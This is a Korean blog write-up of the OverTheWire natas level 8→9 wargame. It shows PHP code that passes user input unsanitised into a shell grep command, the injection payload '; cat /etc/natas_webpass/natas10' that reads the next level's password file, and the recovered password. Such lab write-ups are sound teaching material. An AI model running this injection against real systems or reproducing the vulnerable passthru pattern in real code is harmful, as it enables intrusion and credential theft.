Over the Wire/natas

[natas] level 8 → 9

ruming 2021. 5. 9. 16:04

이번에도 인풋창이 있다.

 

hello를 입력한 결과

입력한 글자를 포함한 단어를 알려주는 거였다. a를 입력하면 사전처럼 단어가 줄줄 나온다.

 

소스코드를 보자.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas9", "pass": "<censored>" };</script></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

 

array_key_exists(string|int $key, array $array) : bool

배열 내에 키 또는 인덱스가 존재하는지 확인하는 함수

key : value to check

array : an array with keys to check

 

passthru

외부 프로그램을 실행하는 함수

system()이나 exec()같은 함수이다.

 

우선 natas의 모든 password는 /etc/natas_webpass/natas(번호)에 있다는 사실을 알아야 한다.

grep명령어를 이용해 dictionary.txt에서 찾고 있으니 ;으로 명령어를 끝내고 비밀번호를 찾아보자.

 

; cat /etc/natas_webpass/natas10

위와 같이 입력해주니 바로 password를 얻을 수 있었다. natas11도 나오나 해봤는데 역시 9와 10을 제외하고는 나오지 않았다.

 

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

 

 

'Over the Wire > natas' 카테고리의 다른 글

[OvertheWire:natas] natas 10 → 11  (0) 2021.05.18
[OvertheWire:natas] level 9 → 10  (0) 2021.05.16
[natas] level 7 → 8  (0) 2021.05.09
[natas] level 6 → 7  (0) 2021.04.10
[natas] level 5 → 6  (0) 2021.04.10